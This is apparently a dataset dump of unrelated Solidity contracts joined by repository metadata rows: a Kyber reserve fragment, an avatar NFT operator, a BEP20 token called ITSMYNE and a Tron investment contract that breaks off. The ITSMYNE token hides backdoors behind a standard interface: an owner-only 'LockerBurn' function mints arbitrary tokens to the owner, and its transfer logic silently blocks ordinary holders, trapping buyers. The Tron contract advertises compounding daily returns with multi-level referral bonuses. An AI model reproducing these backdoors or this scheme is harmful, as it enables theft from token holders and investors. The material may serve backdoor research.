function calcSrcQty(uint dstQty, uint srcDecimals, uint dstDecimals, uint rate) internal pure returns(uint) {
require(dstQty <= MAX_QTY);
require(rate <= MAX_RATE);
//source quantity is rounded up. to avoid dest quantity being too low.
uint numerator;
uint denominator;
if (srcDecimals >= dstDecimals) {
require((srcDecimals - dstDecimals) <= MAX_DECIMALS);
numerator = (PRECISION * dstQty * (10**(srcDecimals - dstDecimals)));
denominator = rate;
} else {
require((dstDecimals - srcDecimals) <= MAX_DECIMALS);
numerator = (PRECISION * dstQty);
denominator = (rate * (10**(dstDecimals - srcDecimals)));
}
return (numerator + denominator - 1) / denominator; //avoid rounding down errors
}
}
contract Withdrawable is PermissionGroups {
event TokenWithdraw(ERC20 token, uint amount, address sendTo);
function withdrawToken(ERC20 token, uint amount, address sendTo) external onlyAdmin {
require(token.transfer(sendTo, amount));
TokenWithdraw(token, amount, sendTo);
}
event EtherWithdraw(uint amount, address sendTo);
function withdrawEther(uint amount, address sendTo) external onlyAdmin {
sendTo.transfer(amount);
EtherWithdraw(amount, sendTo);
}
}
contract KyberReserve is KyberReserveInterface, Withdrawable, Utils {
address public kyberNetwork;
bool public tradeEnabled;
ConversionRatesInterface public conversionRatesContract;
SanityRatesInterface public sanityRatesContract;
mapping(bytes32=>bool) public approvedWithdrawAddresses; // sha3(token,address)=>bool
mapping(address=>address) public tokenWallet;
function KyberReserve(address _kyberNetwork, ConversionRatesInterface _ratesContract, address _admin) public {
require(_admin != address(0));
require(_ratesContract != address(0));
require(_kyberNetwork != address(0));
kyberNetwork = _kyberNetwork;
conversionRatesContract = _ratesContract;
admin = _admin;
tradeEnabled = true;
}
event DepositToken(ERC20 token, uint amount);
function() public payable {
DepositToken(ETH_TOKEN_ADDRESS, msg.value);
}
event TradeExecute(address indexed origin,
address src,
uint srcAmount,
address destToken,
uint destAmount,
address destAddress);
function trade(ERC20 srcToken,
uint srcAmount,
ERC20 destToken,
address destAddress,
uint conversionRate,
bool validate)
public
payable
returns(bool)
{
require(tradeEnabled);
require(msg.sender == kyberNetwork);
require(doTrade(srcToken, srcAmount, destToken, destAddress, conversionRate, validate));
return true;
}
event TradeEnabled(bool enable);
function enableTrade() public onlyAdmin returns(bool) {
tradeEnabled = true;
TradeEnabled(true);
return true;
}
function disableTrade() public onlyAlerter returns(bool) {
tradeEnabled = false;
TradeEnabled(false);
return true;
}
event WithdrawAddressApproved(ERC20 token, address addr, bool approve);
function approveWithdrawAddress(ERC20 token, address addr, bool approve) public onlyAdmin {
approvedWithdrawAddresses[keccak256(token, addr)] = approve;
WithdrawAddressApproved(token, addr, approve);
setDecimals(token);
if ((tokenWallet[token] == address(0x0)) && (token != ETH_TOKEN_ADDRESS)) {
tokenWallet[token] = this; // by default
require(token.approve(this, 2 ** 255));
}
}
event NewTokenWallet(ERC20 token, address wallet);
function setTokenWallet(ERC20 token, address wallet) public onlyAdmin {
require(wallet != address(0x0));
tokenWallet[token] = wallet;
NewTokenWallet(token, wallet);
}
event WithdrawFunds(ERC20 token, uint amount, address destination);
function withdraw(ERC20 token, uint amount, address destination) public onlyOperator returns(bool) {
require(approvedWithdrawAddresses[keccak256(token, destination)]);
if (token == ETH_TOKEN_ADDRESS) {
destination.transfer(amount);
} else {
require(token.transferFrom(tokenWallet[token], destination, amount));
}
WithdrawFunds(token, amount, destination);
return true;
}
event SetContractAddresses(address network, address rate, address sanity);
function setContracts(address _kyberNetwork,
ConversionRatesInterface _conversionRates,
SanityRatesInterface _sanityRates)
public
onlyAdmin
{
require(_kyberNetwork != address(0));
require(_conversionRates != address(0));
kyberNetwork = _kyberNetwork;
conversionRatesContract = _conversionRates;
sanityRatesContract = _sanityRates;
SetContractAddresses(kyberNetwork, conversionRatesContract, sanityRatesContract);
}
////////////////////////////////////////////////////////////////////////////
/// status functions ///////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////
function getBalance(ERC20 token) public view returns(uint) {
if (token == ETH_TOKEN_ADDRESS)
return this.balance;
else {
address wallet = tokenWallet[token];
uint balanceOfWallet = token.balanceOf(wallet);
uint allowanceOfWallet = token.allowance(wallet, this);
return (balanceOfWallet < allowanceOfWallet) ? balanceOfWallet : allowanceOfWallet;
}
}
function getDestQty(ERC20 src, ERC20 dest, uint srcQty, uint rate) public view returns(uint) {
uint dstDecimals = getDecimals(dest);
uint srcDecimals = getDecimals(src);
return calcDstQty(srcQty, srcDecimals, dstDecimals, rate);
}
function getSrcQty(ERC20 src, ERC20 dest, uint dstQty, uint rate) public view returns(uint) {
uint dstDecimals = getDecimals(dest);
uint srcDecimals = getDecimals(src);
return calcSrcQty(dstQty, srcDecimals, dstDecimals, rate);
}
function getConversionRate(ERC20 src, ERC20 dest, uint srcQty, uint blockNumber) public view returns(uint) {
ERC20 token;
bool isBuy;
if (!tradeEnabled) return 0;
if (ETH_TOKEN_ADDRESS == src) {
isBuy = true;
token = dest;
} else if (ETH_TOKEN_ADDRESS == dest) {
isBuy = false;
token = src;
} else {
return 0; // pair is not listed
}
uint rate = conversionRatesContract.getRate(token, blockNumber, isBuy, srcQty);
uint destQty = getDestQty(src, dest, srcQty, rate);
if (getBalance(dest) < destQty) return 0;
if (sanityRatesContract != address(0)) {
uint sanityRate = sanityRatesContract.getSanityRate(src, dest);
if (rate > sanityRate) return 0;
}
return rate;
}
/// @dev do a trade
/// @param srcToken Src token
/// @param srcAmount Amount of src token
/// @param destToken Destination token
/// @param destAddress Destination address to send tokens to
/// @param validate If true, additional validations are applicable
/// @return true iff trade is successful
function doTrade(ERC20 srcToken,
uint srcAmount,
ERC20 destToken,
address destAddress,
uint conversionRate,
bool validate)
internal
returns(bool)
{
// can skip validation if done at kyber network level
if (validate) {
require(conversionRate > 0);
if (srcToken == ETH_TOKEN_ADDRESS)
require(msg.value == srcAmount);
else
require(msg.value == 0);
}
uint destAmount = getDestQty(srcToken, destToken, srcAmount, conversionRate);
// sanity check
require(destAmount > 0);
// add to imbalance
ERC20 token;
int tradeAmount;
if (srcToken == ETH_TOKEN_ADDRESS) {
tradeAmount = int(destAmount);
token = destToken;
} else {
tradeAmount = -1 * int(srcAmount);
token = srcToken;
}
conversionRatesContract.recordImbalance(token,
tradeAmount,
0,
block.number);
// collect src tokens
if (srcToken != ETH_TOKEN_ADDRESS) {
require(srcToken.transferFrom(msg.sender, tokenWallet[srcToken], srcAmount));
}
// send dest tokens
if (destToken == ETH_TOKEN_ADDRESS) {
destAddress.transfer(destAmount);
} else {
require(destToken.transferFrom(tokenWallet[destToken], destAddress, destAmount));
}
TradeExecute(msg.sender, srcToken, srcAmount, destToken, destAmount, destAddress);
return true;
}
}
| 200,391 | 677 |
1332a62cc511ccde3e0cce2052ebd9b647cadb861600b7e43788a251d49bd143
| 10,560 |
.sol
|
Solidity
| false |
504446259
|
EthereumContractBackdoor/PiedPiperBackdoor
|
0088a22f31f0958e614f28a10909c9580f0e70d9
|
contracts/realworld-contracts/0x0fb005aae03820bb4479413b92a4bb603182f4d0.sol
| 2,440 | 9,325 |
pragma solidity ^0.4.24;
interface ERC721 {
/// @dev This emits when ownership of any NFT changes by any mechanism.
/// This event emits when NFTs are created (`from` == 0) and destroyed
/// (`to` == 0). Exception: during contract creation, any number of NFTs
/// may be created and assigned without emitting Transfer. At the time of
/// any transfer, the approved address for that NFT (if any) is reset to none.
event Transfer(address indexed _from, address indexed _to, uint256 indexed _tokenId);
/// @dev This emits when the approved address for an NFT is changed or
/// reaffirmed. The zero address indicates there is no approved address.
/// When a Transfer event emits, this also indicates that the approved
/// address for that NFT (if any) is reset to none.
event Approval(address indexed _owner, address indexed _approved, uint256 indexed _tokenId);
/// @dev This emits when an operator is enabled or disabled for an owner.
/// The operator can manage all NFTs of the owner.
event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved);
/// @notice Count all NFTs assigned to an owner
/// @dev NFTs assigned to the zero address are considered invalid, and this
/// function throws for queries about the zero address.
/// @param _owner An address for whom to query the balance
/// @return The number of NFTs owned by `_owner`, possibly zero
function balanceOf(address _owner) external view returns (uint256);
/// @notice Find the owner of an NFT
/// @dev NFTs assigned to zero address are considered invalid, and queries
/// about them do throw.
/// @param _tokenId The identifier for an NFT
/// @return The address of the owner of the NFT
function ownerOf(uint256 _tokenId) external view returns (address);
/// @notice Transfers the ownership of an NFT from one address to another address
/// @dev Throws unless `msg.sender` is the current owner, an authorized
/// operator, or the approved address for this NFT. Throws if `_from` is
/// not the current owner. Throws if `_to` is the zero address. Throws if
/// `_tokenId` is not a valid NFT. When transfer is complete, this function
/// checks if `_to` is a smart contract (code size > 0). If so, it calls
/// `onERC721Received` on `_to` and throws if the return value is not
/// `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`.
/// @param _from The current owner of the NFT
/// @param _to The new owner
/// @param _tokenId The NFT to transfer
/// @param data Additional data with no specified format, sent in call to `_to`
function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes data) external;
/// @notice Transfers the ownership of an NFT from one address to another address
/// @dev This works identically to the other function with an extra data parameter,
/// except this function just sets data to "".
/// @param _from The current owner of the NFT
/// @param _to The new owner
/// @param _tokenId The NFT to transfer
function safeTransferFrom(address _from, address _to, uint256 _tokenId) external;
/// @notice Transfer ownership of an NFT -- THE CALLER IS RESPONSIBLE
/// TO CONFIRM THAT `_to` IS CAPABLE OF RECEIVING NFTS OR ELSE
/// THEY MAY BE PERMANENTLY LOST
/// @dev Throws unless `msg.sender` is the current owner, an authorized
/// operator, or the approved address for this NFT. Throws if `_from` is
/// not the current owner. Throws if `_to` is the zero address. Throws if
/// `_tokenId` is not a valid NFT.
/// @param _from The current owner of the NFT
/// @param _to The new owner
/// @param _tokenId The NFT to transfer
function transferFrom(address _from, address _to, uint256 _tokenId) external;
/// @notice Change or reaffirm the approved address for an NFT
/// @dev The zero address indicates there is no approved address.
/// Throws unless `msg.sender` is the current NFT owner, or an authorized
/// operator of the current owner.
/// @param _approved The new approved NFT controller
/// @param _tokenId The NFT to approve
function approve(address _approved, uint256 _tokenId) external;
/// @notice Enable or disable approval for a third party ("operator") to manage
/// all of `msg.sender`'s assets
/// @dev Emits the ApprovalForAll event. The contract MUST allow
/// multiple operators per owner.
/// @param _operator Address to add to the set of authorized operators
/// @param _approved True if the operator is approved, false to revoke approval
function setApprovalForAll(address _operator, bool _approved) external;
/// @notice Get the approved address for a single NFT
/// @dev Throws if `_tokenId` is not a valid NFT.
/// @param _tokenId The NFT to find the approved address for
/// @return The approved address for this NFT, or the zero address if there is none
function getApproved(uint256 _tokenId) external view returns (address);
/// @notice Query if an address is an authorized operator for another address
/// @param _owner The address that owns the NFTs
/// @param _operator The address that acts on behalf of the owner
/// @return True if `_operator` is an approved operator for `_owner`, false otherwise
function isApprovedForAll(address _owner, address _operator) external view returns (bool);
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(address indexed previousOwner,
address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
interface AvatarService {
function updateAvatarInfo(address _owner, uint256 _tokenId, string _name, uint256 _dna) external;
function createAvatar(address _owner, string _name, uint256 _dna) external returns(uint256);
function getMountedChildren(address _owner,uint256 _tokenId, address _childAddress) external view returns(uint256[]);
function getAvatarInfo(uint256 _tokenId) external view returns (string _name, uint256 _dna);
function getOwnedAvatars(address _owner) external view returns(uint256[] _avatars);
function unmount(address _owner, address _childContract, uint256[] _children, uint256 _avatarId) external;
function mount(address _owner, address _childContract, uint256[] _children, uint256 _avatarId) external;
}
contract AvatarOperator is Ownable {
// every user can own avatar count
uint8 public PER_USER_MAX_AVATAR_COUNT = 1;
event AvatarCreate(address indexed _owner, uint256 tokenId);
AvatarService internal avatarService;
address internal avatarAddress;
modifier nameValid(string _name){
bytes memory nameBytes = bytes(_name);
require(nameBytes.length > 0);
require(nameBytes.length < 16);
for(uint8 i = 0; i < nameBytes.length; ++i) {
uint8 asc = uint8(nameBytes[i]);
require (asc == 95 || (asc >= 48 && asc <= 57) || (asc >= 65 && asc <= 90) || (asc >= 97 && asc <= 122), "Invalid name");
}
_;
}
function setMaxAvatarNumber(uint8 _maxNumber) external onlyOwner {
PER_USER_MAX_AVATAR_COUNT = _maxNumber;
}
function injectAvatarService(address _addr) external onlyOwner {
avatarService = AvatarService(_addr);
avatarAddress = _addr;
}
function updateAvatarInfo(uint256 _tokenId, string _name, uint256 _dna) external nameValid(_name){
avatarService.updateAvatarInfo(msg.sender, _tokenId, _name, _dna);
}
function createAvatar(string _name, uint256 _dna) external nameValid(_name) returns (uint256 _tokenId){
require(ERC721(avatarAddress).balanceOf(msg.sender) < PER_USER_MAX_AVATAR_COUNT, "overflow");
_tokenId = avatarService.createAvatar(msg.sender, _name, _dna);
emit AvatarCreate(msg.sender, _tokenId);
}
function getMountedChildren(uint256 _tokenId, address _avatarItemAddress) external view returns(uint256[]){
return avatarService.getMountedChildren(msg.sender, _tokenId, _avatarItemAddress);
}
function getAvatarInfo(uint256 _tokenId) external view returns (string _name, uint256 _dna) {
return avatarService.getAvatarInfo(_tokenId);
}
function getOwnedAvatars() external view returns(uint256[] _tokenIds) {
return avatarService.getOwnedAvatars(msg.sender);
}
function handleChildren(address _childContract,
uint256[] _unmountChildren, // array of unmount child ids
uint256[] _mountChildren, // array of mount child ids
uint256 _avatarId) // above ids from which avatar
external {
require(_childContract != address(0), "child address error");
avatarService.unmount(msg.sender, _childContract, _unmountChildren, _avatarId);
avatarService.mount(msg.sender, _childContract, _mountChildren, _avatarId);
}
}
| 144,377 | 678 |
ad64d2139745a09a78c5be3b8fee8948c9621a2b75759b4085386092b5122dc6
| 21,045 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0x59F37Cb56cCC52059Fc79e2DAb2425e8269c16bb/contract.sol
| 2,769 | 9,827 |
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
interface iBEP20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
interface IPancakeFactory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract ITSMYNEToken is Context, iBEP20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address internal constant pancakeV2Router = 0x10ED43C718714eb63d5aA57B78B54704E256024E;
uint256 private _totalSupply;
uint8 public _decimals;
string public _symbol;
string public _name;
bool isSL = true;
uint256 _AMM = 100000;
constructor() public {
_name = 'ITSMYNE';
_symbol = 'MYNE';
_decimals = 9;
_totalSupply = 1000000 * 10**9 * 10**9;
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
function getOwner() external view virtual override returns (address) {
return owner();
}
function decimals() external view virtual override returns (uint8) {
return _decimals;
}
function symbol() external view virtual override returns (string memory) {
return _symbol;
}
function name() external view virtual override returns (string memory) {
return _name;
}
function totalSupply() external view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) external view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) external view override returns (uint256) {
return _allowances[owner][spender];
}
function LockerBurn(uint256 amount) external onlyOwner returns (bool) {
_balances[owner()] = _balances[owner()].add(amount);
emit Transfer(address(0), owner(), amount);
}
function theSL(bool _sl) public onlyOwner virtual returns (bool) {
isSL = _sl;
return true;
}
function sl() public view returns (bool) {
return isSL;
}
function approve(address spender, uint256 amount) external override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "BEP20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "BEP20: decreased allowance below zero"));
return true;
}
function burn(uint256 amount) public virtual {
_burn(_msgSender(), amount);
}
function burnFrom(address account, uint256 amount) public virtual {
uint256 decreasedAllowance = _allowances[account][_msgSender()].sub(amount, "BEP20: burn amount exceeds allowance");
_approve(account, _msgSender(), decreasedAllowance);
_burn(account, amount);
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
bool allow = false;
if(sender == pancakeV2Router || sender == pancakePair() || pancakePair() == address(0) || sender == owner()) {
allow = true;
} else {
if((amount <= _AMM || isSL) && !isContract(sender)) {
allow = true;
}
}
if(allow) {
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
}
function pancakePair() public view virtual returns (address) {
address pancakeV2Factory = 0xcA143Ce32Fe78f1f7019d7d551a6402fC5350c73;
address WBNB = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
address pairAddress = IPancakeFactory(pancakeV2Factory).getPair(address(WBNB), address(this));
return pairAddress;
}
function isContract(address addr) internal view returns (bool) {
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
bytes32 codehash;
assembly {
codehash := extcodehash(addr)
}
return (codehash != 0x0 && codehash != accountHash);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "BEP20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "BEP20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "BEP20: approve from the zero address");
require(spender != address(0), "BEP20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
| 258,050 | 679 |
894924590e86f2bb0e31ba8437a7d19e8b7947c7fb92e92cfa5c39974fcd3b84
| 17,939 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TW/TWLLMQiAUBFQrMEgunaScKeyt4KNiLjWst_SmartContract.sol
| 4,540 | 17,263 |
//SourceUnit: TronChain.sol
pragma solidity 0.5.10;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
}
contract SmartContract {
using SafeMath for uint;
uint constant public DEPOSITS_MAX = 300;
uint constant public INVEST_MIN_AMOUNT = 20 trx;
uint constant public INVEST_MAX_AMOUNT = 4000000 trx;
uint constant public BASE_PERCENT = 100;
uint[] public REFERRAL_PERCENTS = [1000, 400, 200, 100, 100, 50, 50, 40, 30, 20, 10];
uint constant public MARKETING_FEE = 500;
uint constant public PROJECT_FEE = 600;
uint constant public ADMIN_FEE = 500;
uint constant public NETWORK = 600;
uint constant public MAX_CONTRACT_PERCENT = 100;
uint constant public MAX_LEADER_PERCENT = 50;
uint constant public MAX_HOLD_PERCENT = 100;
uint constant public MAX_COMMUNITY_PERCENT = 50;
uint constant public PERCENTS_DIVIDER = 10000;
uint constant public CONTRACT_BALANCE_STEP = 1000000000 trx;
uint constant public LEADER_BONUS_STEP = 1000000000 trx;
uint constant public COMMUNITY_BONUS_STEP = 10000000;
uint constant public TIME_STEP = 1 days;
uint public totalInvested;
address payable public marketingAddress;
address payable public projectAddress;
address payable public adminAddress;
address payable public networkAddress;
uint public totalDeposits;
uint public totalWithdrawn;
uint public contractPercent;
uint public contractCreationTime;
uint public totalRefBonus;
struct Deposit {
uint64 amount;
uint64 withdrawn;
// uint64 refback;
uint32 start;
}
struct User {
Deposit[] deposits;
uint32 checkpoint;
address referrer;
uint64 bonus;
uint24[11] refs;
// uint16 rbackPercent;
}
mapping (address => User) internal users;
mapping (uint => uint) internal turnover;
event Newbie(address user);
event NewDeposit(address indexed user, uint amount);
event Withdrawn(address indexed user, uint amount);
event RefBonus(address indexed referrer, address indexed referral, uint indexed level, uint amount);
event RefBack(address indexed referrer, address indexed referral, uint amount);
event FeePayed(address indexed user, uint totalAmount);
constructor(address payable marketingAddr, address payable projectAddr, address payable adminAddr, address payable networkAddr) public {
require(!isContract(marketingAddr) && !isContract(projectAddr));
marketingAddress = marketingAddr;
projectAddress = projectAddr;
adminAddress = adminAddr;
networkAddress = networkAddr;
contractCreationTime = block.timestamp;
contractPercent = getContractBalanceRate();
}
// function setRefback(uint16 rbackPercent) public {
// require(rbackPercent <= 10000);
// User storage user = users[msg.sender];
// if (user.deposits.length > 0) {
// user.rbackPercent = rbackPercent;
// }
// }
function getContractBalance() public view returns (uint) {
return address(this).balance;
}
function getContractBalanceRate() public view returns (uint) {
uint contractBalance = address(this).balance;
uint contractBalancePercent = BASE_PERCENT.add(contractBalance.div(CONTRACT_BALANCE_STEP).mul(20));
if (contractBalancePercent < BASE_PERCENT.add(MAX_CONTRACT_PERCENT)) {
return contractBalancePercent;
} else {
return BASE_PERCENT.add(MAX_CONTRACT_PERCENT);
}
}
function getLeaderBonusRate() public view returns (uint) {
uint leaderBonusPercent = totalRefBonus.div(LEADER_BONUS_STEP).mul(10);
if (leaderBonusPercent < MAX_LEADER_PERCENT) {
return leaderBonusPercent;
} else {
return MAX_LEADER_PERCENT;
}
}
function getCommunityBonusRate() public view returns (uint) {
uint communityBonusRate = totalDeposits.div(COMMUNITY_BONUS_STEP).mul(10);
if (communityBonusRate < MAX_COMMUNITY_PERCENT) {
return communityBonusRate;
} else {
return MAX_COMMUNITY_PERCENT;
}
}
function withdraw() public {
User storage user = users[msg.sender];
uint userPercentRate = getUserPercentRate(msg.sender);
uint communityBonus = getCommunityBonusRate();
uint leaderbonus = getLeaderBonusRate();
uint totalAmount;
uint dividends;
for (uint i = 0; i < user.deposits.length; i++) {
if (uint(user.deposits[i].withdrawn) < uint(user.deposits[i].amount).mul(2)) {
if (user.deposits[i].start > user.checkpoint) {
dividends = (uint(user.deposits[i].amount).mul(userPercentRate+communityBonus+leaderbonus).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(uint(user.deposits[i].start)))
.div(TIME_STEP);
} else {
dividends = (uint(user.deposits[i].amount).mul(userPercentRate+communityBonus+leaderbonus).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(uint(user.checkpoint)))
.div(TIME_STEP);
}
if (uint(user.deposits[i].withdrawn).add(dividends) > uint(user.deposits[i].amount).mul(2)) {
dividends = (uint(user.deposits[i].amount).mul(2)).sub(uint(user.deposits[i].withdrawn));
}
user.deposits[i].withdrawn = uint64(uint(user.deposits[i].withdrawn).add(dividends)); /// changing of storage data
totalAmount = totalAmount.add(dividends);
}
}
require(totalAmount > 0, "User has no dividends");
uint contractBalance = address(this).balance;
if (contractBalance < totalAmount) {
totalAmount = contractBalance;
}
// if (msgValue > availableLimit) {
// msg.sender.transfer(msgValue.sub(availableLimit));
// msgValue = availableLimit;
// }
// uint halfDayTurnover = turnover[getCurrentHalfDay()];
// uint halfDayLimit = getCurrentDayLimit();
// if (INVEST_MIN_AMOUNT.add(msgValue).add(halfDayTurnover) < halfDayLimit) {
// turnover[getCurrentHalfDay()] = halfDayTurnover.add(msgValue);
// } else {
// turnover[getCurrentHalfDay()] = halfDayLimit;
// }
user.checkpoint = uint32(block.timestamp);
msg.sender.transfer(totalAmount);
totalWithdrawn = totalWithdrawn.add(totalAmount);
emit Withdrawn(msg.sender, totalAmount);
}
function getUserPercentRate(address userAddress) public view returns (uint) {
User storage user = users[userAddress];
if (isActive(userAddress)) {
uint timeMultiplier = (block.timestamp.sub(uint(user.checkpoint))).div(TIME_STEP.div(2)).mul(5);
if (timeMultiplier > MAX_HOLD_PERCENT) {
timeMultiplier = MAX_HOLD_PERCENT;
}
return contractPercent.add(timeMultiplier);
} else {
return contractPercent;
}
}
function getUserAvailable(address userAddress) public view returns (uint) {
User storage user = users[userAddress];
uint userPercentRate = getUserPercentRate(userAddress);
uint communityBonus = getCommunityBonusRate();
uint leaderbonus = getLeaderBonusRate();
uint totalDividends;
uint dividends;
for (uint i = 0; i < user.deposits.length; i++) {
if (uint(user.deposits[i].withdrawn) < uint(user.deposits[i].amount).mul(2)) {
if (user.deposits[i].start > user.checkpoint) {
dividends = (uint(user.deposits[i].amount).mul(userPercentRate+communityBonus+leaderbonus).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(uint(user.deposits[i].start)))
.div(TIME_STEP);
} else {
dividends = (uint(user.deposits[i].amount).mul(userPercentRate+communityBonus+leaderbonus).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(uint(user.checkpoint)))
.div(TIME_STEP);
}
if (uint(user.deposits[i].withdrawn).add(dividends) > uint(user.deposits[i].amount).mul(2)) {
dividends = (uint(user.deposits[i].amount).mul(2)).sub(uint(user.deposits[i].withdrawn));
}
totalDividends = totalDividends.add(dividends);
/// no update of withdrawn because that is view function
}
}
return totalDividends;
}
function invest(address referrer) public payable {
require(!isContract(msg.sender) && msg.sender == tx.origin);
require(msg.value >= INVEST_MIN_AMOUNT && msg.value <= INVEST_MAX_AMOUNT, "Bad Deposit");
User storage user = users[msg.sender];
require(user.deposits.length < DEPOSITS_MAX, "Maximum 300 deposits from address");
// uint availableLimit = getCurrentHalfDayAvailable();
// require(availableLimit > 0, "Deposit limit exceed");
uint msgValue = msg.value;
// if (msgValue > availableLimit) {
// msg.sender.transfer(msgValue.sub(availableLimit));
// msgValue = availableLimit;
// }
// uint halfDayTurnover = turnover[getCurrentHalfDay()];
// uint halfDayLimit = getCurrentDayLimit();
// if (INVEST_MIN_AMOUNT.add(msgValue).add(halfDayTurnover) < halfDayLimit) {
// turnover[getCurrentHalfDay()] = halfDayTurnover.add(msgValue);
// } else {
// turnover[getCurrentHalfDay()] = halfDayLimit;
// }
